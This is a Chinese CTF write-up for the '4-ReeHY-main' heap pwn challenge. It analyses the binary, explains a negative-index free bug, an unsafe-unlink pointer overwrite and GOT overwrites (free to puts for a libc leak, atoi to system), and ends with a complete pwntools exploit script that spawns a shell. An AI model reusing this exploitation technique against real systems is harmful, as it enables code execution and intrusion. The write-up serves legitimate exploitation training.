萬能鑰匙ctf--4-ReeHY-main除錯記錄--unlink
查詢題目保護開啟,發現只開了NX,未開啟RELRO和PIE,思路可以從修改got表展開。
ida裝載分析程式執行流程,main函式發現是一個常規的選單類題目,推測為堆相關題目。
Malloc函式。分配最大不超過4096,且如果大小超過112就直接放入堆區,否則先存入棧區,再拷貝到堆區。存在結構體儲存堆大小、堆指標以及標記是否分配。
Delete函式。直接刪除,並沒有判斷標記是否被刪除。刪除後標記置0,但是未進行指標置0,存在uaf情況,可利用點為double free。觀察沒有判斷輸入為負的情況,可能存在問題。
Edit函式。判斷是否被釋放,未被釋放才可以編輯。向堆區輸入長度為申請時結構體儲存的長度的字串。
Show功能無效
利用思路:
從free函式分析來看,首先未判斷free的塊號是否為負,可能存在釋放後再申請記憶體不缺定的情況,可能分配到關鍵地方。
使用free(-2)會釋放儲存堆塊大小陣列的記憶體地址,再申請即可申請回來該地址從而進行修改。
上圖即是儲存申請堆塊大小的陣列內容,是一個size為20的堆塊。
至於為什麼要free(-2),我們從free函式的彙編程式碼分析,我們重點關注輸入和free之間發生了什麼。從下圖中看出,首先比較輸入是否小於4,接著將輸入邏輯左移4位後值為-32,即0x20。因此執行彙編程式碼後釋放的為0x6020c0,即儲存堆大小的記憶體區域。
由於該塊大小為0x20,即屬於fastbin,我們可以釋放後再申請同樣大小的堆塊即可返回該記憶體區域。通過下圖的payload修改chunk0地址為0x100,用於覆蓋chunk1。
接著我們可以編輯chunk0,我們在chunk0中偽造一個chunk,其狀態為釋放,fd和bk指標指向0x6020e0,該值儲存的為申請的堆塊指標。我們利用該指標進行unlink檢查的繞過,執行完unlink後該值會被改為0x6020e0-0x18,即0x6020c8。這時,當我們再次編輯chunk0時,我們編輯的實際地址為0x6020c8,我們可以通過該地址溢位控制後面地址。
現在,我們在編輯chunk0即從0x6020c8開始編輯,通過覆蓋修改結構體的值與是否分配的標記。
現在我們還缺少system的地址。我們通過修改free函式為puts函式來打印出puts的真實地址。這裡有個坑點需要注意,在修改got的值時,不能用sendline函式,也就是說不能在末尾自動加\xa0,會出錯,因此需要將edit函式做修改,使得傳送的內容為io.send(content)。
這之後,我們還缺少“/bin/sh”字串,觀察程式,我們發現atoi函式需要我們輸入引數,而呼叫system函式也需要我們輸入引數,因此我們把atoi函式改為system函式,併發送/bin/sh字串。這裡不知道為什麼執行完上述free(1)後竟然自動recv了剩下的字元,沒辦法用edit,只能手寫一下。
完整exp如下:
1 #!/usr/bin/env python 2 # coding=utf-8 3 4 from pwn import * 5 DEBUG = True 6 7 if DEBUG: 8 io = process('./pwn3') 9 libc = ELF('./ctf.so.6') 10 context.log_level = 'debug' 11 else: 12 io = remote('172.168.17.2',10001) 13 14 def welcome(): 15 io.recvuntil('$ ') 16 io.sendline('frdqy') 17 18 def add(size,index,content): 19 io.recv() 20 io.sendline('1') 21 io.recv(1024) 22 io.sendline(str(size)) 23 io.recv(1024) 24 io.sendline(str(index)) 25 io.recv(1024) 26 io.sendline(str(content)) 27 28 def free(index): 29 io.recv() 30 io.sendline('2') 31 io.recv(1024) 32 io.sendline(str(index)) 33 34 def edit(index,content): 35 io.recv() 36 io.sendline('3') 37 io.recv(1024) 38 io.sendline(str(index)) 39 io.recv(1024) 40 io.send(content) 41 42 system_off = libc.symbols['system'] 43 puts_off = libc.symbols['puts'] 44 g_point = 0x6020e0 #儲存申請堆塊的結構體 45 fd = g_point-0x18 #unlink繞過檢查 46 bk = g_point-0x10 #unlink繞過檢查 47 free_got = 0x602018 48 puts_got = 0x602020 49 atoi_got = 0x602058 50 puts_plt = 0x4006d0 51 52 def exp(): 53 welcome() 54 add(0x80,0,'a'*0x80) 55 add(0x80,1,'b'*0x80) 56 57 #gdb.attach(io) 58 free(-2) #釋放後在申請會返回到儲存堆塊大小的陣列記憶體上 59 60 payload = '' 61 payload += p32(0x80*2) 62 payload += p32(0x80) 63 payload += p32(0) 64 payload += p32(0) 65 add(20,2,payload) #修改已申請的堆塊大小分別為0x100、0x80,填充剩下的值 66 67 #溢位塊0 68 payload = '' 69 payload += p64(0) #chunk0 pre_size 70 payload += p64(0x81)#chunk0 size 71 payload += p64(fd) #chunk0 fd 72 payload += p64(bk) #chunk0 bk 73 payload += 'a'*(0x80-32) 74 payload += p64(len(payload)) #chunk1 pre_size 75 payload += p64(0x90) #chunk1 size 76 edit(0,payload) 77 78 #unlink 79 free(1) 80 81 #再編輯chunk0,實際編輯的就是g_point - 0x18的值,可以覆蓋到儲存堆指標的結構體 82 payload = '' 83 payload += p64(0) 84 payload += p64(0) 85 payload += p64(0) 86 payload += p64(free_got) #第一項修改為free_got 87 payload += p64(1) 88 payload += p64(puts_got) #第二項修改為puts_got 89 payload += p64(1) 90 payload += p64(atoi_got) #第三項修改為atoi_got 91 payload += p64(1) 92 edit(0,payload) 93 94 #此時在編輯chunk0、chunk1、chunk2即可修改對應的函式值 95 #修改free_got的值為puts從而洩漏計算出libc載入地址 96 edit(0,p64(puts_plt)) 97 98 #列印puts_got的值 99 free(1) 100 puts_addr =u64(io.recv()[0:6]+'\x00\x00') 101 system_addr = puts_addr - puts_off + system_off 102 103 #將atoi改為system 104 #edit(2,p64(system_addr)) 105 io.sendline('3') 106 io.recv() 107 io.sendline('2') 108 io.recv() 109 io.sendline(p64(system_addr)) 110 111 #輸入/bin/sh 112 io.sendline('/bin/sh') 113 io.interactive() 114 115 exp()